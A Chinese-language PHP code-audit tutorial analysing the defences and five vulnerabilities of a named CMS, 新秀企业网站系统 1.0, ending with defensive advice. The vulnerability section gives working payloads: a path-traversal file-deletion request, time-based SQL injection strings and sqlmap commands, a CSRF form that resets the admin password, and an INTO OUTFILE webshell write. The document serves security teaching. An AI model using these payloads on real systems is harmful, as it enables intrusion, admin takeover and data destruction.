PHP代码审计之入门实战
字数 1179 2025-08-18 11:39:15
PHP代码审计实战教学:新秀企业网站系统漏洞分析
系统概述
CMS名称:新秀企业网站系统PHP版
版本:1.0正式版
官网:www.sinsiu.com
下载地址:蓝奏云(官网最新版存在远程数据库安全隐患)
环境搭建:Windows下使用PHPStudy可直接安装
防护策略分析
1. 伪造IP注入防护
- 防护代码:
include/function.php中的get_ip()函数 - 关键防护:
if(!is_numeric(str_replace('.', '', $ip))) { $ip = '0.0.0.0'; } - 效果:去除点后非数字则重置IP,有效防止IP伪造注入
2. 存储型XSS防护
- 过滤机制:
- 使用
post()函数接收用户输入 - 应用
strict过滤函数:function strict($str){ $str = str_replace('<','<',$str); $str = str_replace('>','>',$str); // 其他危险字符替换... return $str; }
- 使用
- 效果:完全过滤XSS使用的尖括号等危险字符
3. CSRF防护
- 密码修改验证:要求提供旧密码
$use_password = md5($old_pwd); $obj->set_where('use_id = '.$global['user_id']); $obj->set_where("use_password = '$use_password'"); - 效果:无旧密码无法修改,防止CSRF攻击
4. 变量全面过滤
- session过滤:
set_session()使用strict模式 - cookie过滤:
get_cookie()使用strict模式 - 登录过滤:管理员和用户登录均经过严格过滤
漏洞分析
1. 后台任意文件删除漏洞
- 漏洞文件:
admin/deal.php中的del_file()函数 - 漏洞代码:
$dir[0] = 'data/backup/'; $dir[1] = 'images/'; $dir[2] = 'resource/'; if(substr($path,0,strlen($dir[$i])) == $dir[$i]) { $flag = true; } - 漏洞原因:仅检查路径开头,未防止目录穿越
- 利用方式:
POST /admin.php?/deal/ cmd=del_file&path=images/../1.php
2. 后台数字型盲注
- 漏洞文件:
admin/module/basic/deal.php中的del_admin() - 漏洞代码:
$adm_id = post('id'); $obj->set_where("adm_id = $adm_id"); - 漏洞类型:时间型盲注
- 手工验证:
cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0) - SQLMap利用:
sqlmap -u "http://target/admin.php?/deal/dir-basic/" --data="cmd=del_admin&id=3" -p "id" --technique=T --tamper="between"
3. 管理员CSRF漏洞
- 漏洞文件:
admin/module/basic/deal.php中的edit_admin()add_admin()
- 漏洞原因:
- 修改密码无需验证旧密码
- 无Token防护
- 利用POC:
<form action="http://target/admin.php?/basic/index.html" method="POST"> <input type="hidden" name="cmd" value="edit_admin" /> <input type="hidden" name="adm_id" value="1" /> <input type="hidden" name="adm_password" value="Passw0rd" /> <input type="hidden" name="re_password" value="Passw0rd" /> </form> <script>document.forms[0].submit();</script>
4. 前台搜索盲注漏洞
- 漏洞文件:
index/module/search_main.php - 漏洞代码:
$global['key'] = rawurldecode($global['key']); $obj->set_where("goo_title like '%" . $global['key'] . "%'"); - 利用方式:
http://target/?/search/index.html/key-%27%20and%20sleep(2)%20%23/ - SQLMap利用:
sqlmap -u "http://target/?/search/index.html/key-%27*%20%23/" --technique=T
5. 理论文件写入漏洞
- 前提条件:
- MySQL配置
secure_file_priv无限制 - 已知网站物理路径(通过错误信息泄露)
- MySQL配置
- 利用方式:
http://target/?/search/index.html/key-%27union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\path\\gg.php'%20%23/
审计技巧总结
- 关注用户输入点:如IP获取、搜索功能、文件操作等
- 检查过滤完整性:特别是数字型参数是否被严格过滤
- 验证防护机制:如CSRF Token、操作验证等
- 注意路径处理:文件操作函数是否可能被绕过
- 利用错误信息:获取系统路径等关键信息
- 组合漏洞利用:如CSRF+盲注实现更深入攻击
防御建议
- 对所有用户输入进行严格过滤,包括数字型参数
- 文件操作使用绝对路径检查,防止目录穿越
- 关键操作添加CSRF Token防护
- 生产环境关闭错误显示,防止信息泄露
- 使用预处理语句防止SQL注入
- 最小化MySQL文件操作权限